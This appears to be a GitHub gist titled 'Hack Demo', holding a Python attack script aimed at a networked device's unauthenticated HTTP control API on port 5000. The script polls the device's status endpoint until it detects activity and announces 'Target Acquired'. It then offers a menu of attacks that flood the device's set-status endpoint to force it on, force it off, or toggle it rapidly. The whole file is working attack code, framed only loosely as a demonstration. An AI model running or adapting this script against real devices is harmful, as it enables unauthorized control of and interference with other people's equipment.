Created
January 27, 2023 16:27
-
-
Save dadatuputi/4fa989c67f4aa6f805bf7590f9beee14 to your computer and use it in GitHub Desktop.
Hack Demo for Reception-age
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import requests | |
import argparse | |
import inquirer | |
import sys, select, os | |
import time | |
from colorama import Fore, Style | |
kickoff = [ | |
inquirer.List('start', | |
message="Start searching for a target?", | |
choices=['Yes 👍', 'No 👎']) | |
] | |
attack_options = [ | |
inquirer.List('attack', | |
message='Which attack do you want?', | |
choices=['Keep ON', 'Keep OFF', 'Crazy 🤪', 'Exit']) | |
] | |
PROTOCOL = 'http://' | |
PORT = '5000' | |
SERVICE_STATUS_GET = 'getSta' | |
SERVICE_STATUS_SET = 'setSta' | |
flag = True | |
def set_status(target, status): | |
r = requests.post(f'{PROTOCOL}{target}:{PORT}/{SERVICE_STATUS_SET}', json={"status": status}) | |
return r.text | |
def detect_changes(target, sleep): | |
# print of a detection of a target | |
_status_old = None | |
_loop = True | |
print(Fore.YELLOW + "Searching for target to attack", end='', flush=True) | |
while _loop: | |
print('🎯', end='', flush=True) | |
r = requests.get(f'{PROTOCOL}{target}:{PORT}/{SERVICE_STATUS_GET}') | |
_status = (r.json()['data']['status']) | |
if _status_old and _status_old != _status: | |
# new status, break out of loop | |
_loop = False | |
print(f'\n{Style.RESET_ALL}{Fore.RED}Target Acquired! IP:{target}{Style.RESET_ALL}') | |
_status_old = _status | |
time.sleep(sleep) | |
def atk_crazy(target, sleep=.5): | |
_count = 0 | |
print(f"Setting target to", end='', flush=True) | |
while True: | |
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]: | |
line = input() | |
break | |
print(f" {'ON' if (_count%2) else 'OFF'}", end='', flush=True) | |
set_status(target, _count%2) | |
time.sleep(sleep) | |
_count+=1 | |
print("", flush=True) | |
def atk_off(target, sleep=.05): | |
atk_hold(target, 0, sleep) | |
def atk_on(target, sleep=.05): | |
atk_hold(target, 1, sleep) | |
def atk_hold(target, state, sleep): | |
print(f"Keeping target {'ON' if state else 'OFF'}") | |
while True: | |
if sys.stdin in select.select([sys.stdin], [], [], 0)[0]: | |
line = input() | |
break | |
time.sleep(sleep) | |
set_status(target, state) | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser() | |
parser.add_argument('target') | |
parser.add_argument('-i', '--interval', metavar='S', default=1, type=int, help='Seconds between poll interval for detection') | |
args = parser.parse_args() | |
start = inquirer.prompt(kickoff) | |
if 'Yes' not in start['start']: | |
print('Goodbye') | |
sys.exit(0) | |
detect_changes(args.target, args.interval) | |
while True: | |
attack = inquirer.prompt(attack_options)['attack'].lower() | |
if 'crazy' in attack: | |
atk_crazy(args.target) | |
elif 'on' in attack: | |
atk_on(args.target) | |
elif 'off' in attack: | |
atk_off(args.target) | |
else: | |
print('Goodbye') | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment